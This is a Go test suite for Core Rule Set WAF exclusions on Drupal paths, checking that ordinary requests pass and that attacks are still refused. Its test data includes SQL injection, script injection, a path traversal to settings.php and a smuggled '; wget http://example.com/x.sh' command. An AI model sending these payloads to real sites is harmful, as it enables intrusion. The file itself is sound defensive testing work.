check / check (push) Successful in 5m5s
Names, searches, addresses and the page to return to on more Drupal paths skip the rules that misfire on them: 930120, 932120, 932250 and 932260, plus 932230 and 932235 on destination only. The oEmbed url skips only 930120 and 932120. Every Drupal path may carry a language prefix such as /fr. Requests recorded from Drupal 11.4.11 with plain words, python3, powershell, ls -la and .htaccess are added to the test data; tests show attacks and "; wget ..." still refused on each new field. Model: opus-5-5
387 lines
12 KiB
Go
387 lines
12 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"net/url"
|
|
"testing"
|
|
)
|
|
|
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const drupalThreshold = 5
|
|
|
|
// drupalAddArticle is Drupal's form for a new article.
|
|
const drupalAddArticle = "/node/add/article"
|
|
|
|
// drupalSignIn is Drupal's sign-in page.
|
|
const drupalSignIn = "/user/login"
|
|
|
|
// drupalTagForm is Drupal's form for a new tag.
|
|
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
|
|
|
// drupalEditAccount is Drupal's form for editing an account.
|
|
const drupalEditAccount = "/user/2/edit"
|
|
|
|
// drupalName is the field for a person's name, as the start of a form body.
|
|
const drupalName = "name="
|
|
|
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
|
|
for _, recorded := range recordedRequests(t, "drupal-requests.txt") {
|
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
|
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
|
}
|
|
|
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
|
r.method, r.target, recorded.Body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var drupalAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, target := range []string{
|
|
"/?id=",
|
|
"/admin/content?id=",
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/content?destination=",
|
|
"/admin/foo?q=",
|
|
"/node/1/edit?destination=",
|
|
"/user/login?destination=",
|
|
"/search/node?keys=",
|
|
"/search?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/big_pipe/no-js?destination=",
|
|
"/node/2/revisions/3/revert?destination=",
|
|
"/node/2/revisions/3/delete?destination=",
|
|
"/block/add/basic?destination=",
|
|
"/fr/admin/content?title=",
|
|
"/fr/search/node?keys=",
|
|
} {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const reply = "/comment/reply/node/1/comment"
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, sent := range []struct{ target, body string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, drupalName + attack},
|
|
{drupalSignIn, "pass=" + attack},
|
|
{drupalSignIn, drupalName + attack},
|
|
{"/fr/user/login", drupalName + attack},
|
|
{"/user/register", drupalName + attack},
|
|
{drupalEditAccount, "mail=" + attack},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
`1' OR '1'='1`,
|
|
`<script>alert(1)</script>`,
|
|
} {
|
|
for _, field := range []string{
|
|
`"title":"` + attack + `"`,
|
|
`"body":{"value":"` + attack + `"}`,
|
|
`"name":"` + attack + `"`,
|
|
`"revision_log":"` + attack + `"`,
|
|
`"info":"` + attack + `"`,
|
|
`"description":{"value":"` + attack + `"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
|
// on the fields that skip the other command rules, as a query value.
|
|
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/views/ajax/autocomplete/tag?q=",
|
|
"/search/node?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/fr/admin/content?title=",
|
|
} {
|
|
got := inspect(t, crs, get(target+drupalCommandAttack))
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, sent := range []struct{ target, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
|
|
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
|
|
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
|
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
|
{drupalSignIn, drupalName},
|
|
{"/user/register", drupalName},
|
|
{drupalEditAccount, "mail="},
|
|
{"/comment/reply/node/1/comment", drupalName},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
|
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
|
|
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
|
|
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
for _, field := range []string{
|
|
`"title":"; wget http://example.com/x.sh"`,
|
|
`"subject":"; wget http://example.com/x.sh"`,
|
|
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
|
`"name":"; wget http://example.com/x.sh"`,
|
|
`"revision_log":"; wget http://example.com/x.sh"`,
|
|
`"info":"; wget http://example.com/x.sh"`,
|
|
`"description":{"value":"; wget http://example.com/x.sh"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
// drupalHardValues are the words that name commands and files, as a form
|
|
// value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
|
|
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const subject = "subject%5B0%5D%5Bvalue%5D="
|
|
|
|
for _, value := range drupalHardValues {
|
|
for _, sent := range []struct{ target, field string }{
|
|
{"/comment/reply/node/1/comment", subject},
|
|
{"/comment/reply/node/1/comment/5", subject},
|
|
{"/comment/reply/node/1/field_comments", subject},
|
|
{"/comment/reply/media/1/comment", subject},
|
|
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{drupalSignIn, "pass="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, value := range drupalHardValues {
|
|
word, err := url.QueryUnescape(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
r := request{http.MethodPost, "/user/login?_format=json", []string{jsonBody}}
|
|
body := `{"name":"example","pass":"` + word + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, passes := range []string{
|
|
"/admin/content?title=python3",
|
|
"/search/node?keys=python3",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
|
"/node/1/edit?destination=python3",
|
|
"/fr/admin/content?title=python3",
|
|
"/pt-br/search/node?keys=python3",
|
|
"/user/password?name=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
|
t.Errorf("%s refused: %+v", passes, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []string{
|
|
"/?title=python3",
|
|
"/admin/content?other=python3",
|
|
"/?keys=python3",
|
|
"/node/1?keys=python3",
|
|
"/?q=python3",
|
|
"/?filter%5Btitle%5D=python3",
|
|
"/python3-notes?destination=python3",
|
|
"/notes/admin/content?title=python3",
|
|
"/fr/node/1?keys=python3",
|
|
"/?name=python3",
|
|
"/user/login?name=python3",
|
|
"/media/oembed?url=python3",
|
|
"/media/oembed?url=ls%20-la",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ path, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalSignIn, "pass=python3"},
|
|
{drupalSignIn, "name=python3"},
|
|
{drupalEditAccount, "mail=python3"},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|